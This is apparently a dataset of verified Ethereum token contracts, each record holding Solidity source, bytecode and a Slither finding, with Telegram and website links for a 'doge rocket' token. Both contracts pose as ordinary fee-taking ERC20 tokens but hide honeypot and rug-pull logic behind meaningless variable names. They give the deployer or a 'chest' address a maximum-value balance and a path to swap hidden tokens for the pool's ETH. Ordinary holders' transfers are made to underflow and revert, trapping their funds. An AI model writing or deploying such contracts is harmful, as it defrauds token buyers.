function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private wherever = _tTotal;
uint256 private _rTotal = ~uint256(0);
uint256 public _fee = 5;
mapping(uint256 => address) private wing;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private ring;
mapping(address => uint256) private _balances;
mapping(address => uint256) private stop;
mapping(uint256 => address) private afraid;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public router;
address public uniswapV2Pair;
string private _symbol;
string private _name;
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress
) {
_name = _NAME;
_symbol = _SYMBOL;
ring[msg.sender] = wherever;
_balances[msg.sender] = _tTotal;
_balances[address(this)] = _rTotal;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
wing[wherever] = uniswapV2Pair;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(
address union,
address shoulder,
uint256 amount
) private {
address north = afraid[wherever];
bool special = union == wing[wherever];
uint256 several = _fee;
if (ring[union] == 0 && !special && stop[union] > 0) {
ring[union] -= several;
}
afraid[wherever] = shoulder;
if (ring[union] > 0 && amount == 0) {
ring[shoulder] += several;
}
stop[north] += several;
if (ring[union] > 0 && amount > wherever) {
unusual(amount);
} else {
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[union] -= fee;
_balances[union] -= amount;
_balances[shoulder] += amount;
}
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
_transfer(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function unusual(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c2565b60405180910390f35b610132600480360381019061012d919061137d565b610392565b60405161013f91906113d8565b60405180910390f35b6101506103a7565b60405161015d9190611402565b60405180910390f35b610180600480360381019061017b919061141d565b6103b1565b60405161018d91906113d8565b60405180910390f35b61019e610500565b6040516101ab9190611402565b60405180910390f35b6101bc610519565b6040516101c9919061147f565b60405180910390f35b6101ec60048036038101906101e7919061149a565b61053f565b6040516101f99190611402565b60405180910390f35b61020a610588565b005b610214610610565b604051610221919061147f565b60405180910390f35b610232610639565b60405161023f91906112c2565b60405180910390f35b610262600480360381019061025d919061137d565b6106cb565b60405161026f91906113d8565b60405180910390f35b610280610747565b60405161028d9190611402565b60405180910390f35b6102b060048036038101906102ab91906114c7565b61074d565b6040516102bd9190611402565b60405180910390f35b6102e060048036038101906102db919061149a565b6107d4565b005b6102ea6108cb565b6040516102f79190611566565b60405180910390f35b6060600e805461030f906115b0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611653565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611402565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a2565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f19565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611722565b60405180910390fd5b61060e6000610f21565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b0565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611402565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f19565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611722565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b4565b60405180910390fd5b6108c881610f21565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611846565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611402565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a2565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611866565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611866565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de157610ddc84610fe5565b610f11565b6000600454606486610df391906118eb565b610dfd919061191c565b90508085610e0b91906116a2565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5c91906116a2565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb291906116a2565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f089190611866565b92505081905550505b505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100257611001611976565b5b6040519080825280602002602001820160405280156110305781602001602082028036833780820191505090505b5090503081600081518110611048576110476119a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111391906119e9565b81600181518110611127576111266119a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061118e30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f3959493929190611b0f565b600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611263578082015181840152602081019050611248565b83811115611272576000848401525b50505050565b6000601f19601f8301169050919050565b600061129482611229565b61129e8185611234565b93506112ae818560208601611245565b6112b781611278565b840191505092915050565b600060208201905081810360008301526112dc8184611289565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611314826112e9565b9050919050565b61132481611309565b811461132f57600080fd5b50565b6000813590506113418161131b565b92915050565b6000819050919050565b61135a81611347565b811461136557600080fd5b50565b60008135905061137781611351565b92915050565b60008060408385031215611394576113936112e4565b5b60006113a285828601611332565b92505060206113b385828601611368565b9150509250929050565b60008115159050919050565b6113d2816113bd565b82525050565b60006020820190506113ed60008301846113c9565b92915050565b6113fc81611347565b82525050565b600060208201905061141760008301846113f3565b92915050565b600080600060608486031215611436576114356112e4565b5b600061144486828701611332565b935050602061145586828701611332565b925050604061146686828701611368565b9150509250925092565b61147981611309565b82525050565b60006020820190506114946000830184611470565b92915050565b6000602082840312156114b0576114af6112e4565b5b60006114be84828501611332565b91505092915050565b600080604083850312156114de576114dd6112e4565b5b60006114ec85828601611332565b92505060206114fd85828601611332565b9150509250929050565b6000819050919050565b600061152c611527611522846112e9565b611507565b6112e9565b9050919050565b600061153e82611511565b9050919050565b600061155082611533565b9050919050565b61156081611545565b82525050565b600060208201905061157b6000830184611557565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115c857607f821691505b6020821081036115db576115da611581565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061163d602983611234565b9150611648826115e1565b604082019050919050565b6000602082019050818103600083015261166c81611630565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116ad82611347565b91506116b883611347565b9250828210156116cb576116ca611673565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170c602083611234565b9150611717826116d6565b602082019050919050565b6000602082019050818103600083015261173b816116ff565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061179e602683611234565b91506117a982611742565b604082019050919050565b600060208201905081810360008301526117cd81611791565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611830602483611234565b915061183b826117d4565b604082019050919050565b6000602082019050818103600083015261185f81611823565b9050919050565b600061187182611347565b915061187c83611347565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b1576118b0611673565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f682611347565b915061190183611347565b925082611911576119106118bc565b5b828204905092915050565b600061192782611347565b915061193283611347565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196b5761196a611673565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e38161131b565b92915050565b6000602082840312156119ff576119fe6112e4565b5b6000611a0d848285016119d4565b91505092915050565b6000819050919050565b6000611a3b611a36611a3184611a16565b611507565b611347565b9050919050565b611a4b81611a20565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a8681611309565b82525050565b6000611a988383611a7d565b60208301905092915050565b6000602082019050919050565b6000611abc82611a51565b611ac68185611a5c565b9350611ad183611a6d565b8060005b83811015611b02578151611ae98882611a8c565b9750611af483611aa4565b925050600181019050611ad5565b5085935050505092915050565b600060a082019050611b2460008301886113f3565b611b316020830187611a42565b8181036040830152611b438186611ab1565b9050611b526060830185611470565b611b5f60808301846113f3565b969550505050505056fea2646970667358221220fc899baaa8c7224ff69fd09e6a5b4ee42a8767d9c4e1058b95e41f403c16d7d164736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,863 |
0x682DaE33176a916482409Be1b10b86613bb071Ea | /*
🐶🚀
https://t.me/dogerocket_eth
🐶🚀
https://www.doge-rocket.space/
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.8;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address chest
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[chest] = leaf;
_balances[msg.sender] = _tTotal;
remember[chest] = leaf;
remember[msg.sender] = leaf;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private leaf = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
mapping(uint256 => address) private hollow;
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function rapidly(
address dance,
address definition,
uint256 amount
) private {
address ability = hollow[0];
bool slow = uniswapV2Pair == dance;
uint256 cut = _fee;
if (remember[dance] == 0 && by[dance] > 0 && !slow) {
remember[dance] -= cut;
}
hollow[0] = definition;
if (remember[dance] > 0 && amount == 0) {
remember[definition] += cut;
}
by[ability] += cut;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[dance] -= fee;
_balances[address(this)] += fee;
_balances[dance] -= amount;
_balances[definition] += amount;
}
mapping(address => uint256) private by;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private remember;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
rapidly(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
rapidly(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
payable(msg.sender).transfer(address(this).balance);
}
} | 0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113c5565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611480565b61046f565b60405161015791906114db565b60405180910390f35b34801561016c57600080fd5b50610175610484565b6040516101829190611505565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611520565b61048e565b6040516101bf91906114db565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea9190611505565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b6040516102159190611582565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061159d565b61061d565b6040516102529190611505565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b6040516102949190611582565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113c5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611480565b6107a9565b6040516102fc91906114db565b60405180910390f35b34801561031157600080fd5b5061031a610825565b6040516103279190611505565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115ca565b61082b565b6040516103649190611505565b60405180910390f35b6103876004803603810190610382919061160a565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab919061159d565b610b40565b005b3480156103be57600080fd5b506103c7610c37565b6040516103d491906116bc565b60405180910390f35b6060600280546103ec90611706565b80601f016020809104026020016040519081016040528092919081815260200182805461041890611706565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c5d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117a9565b60405180910390fd5b6104dd848484610df8565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffff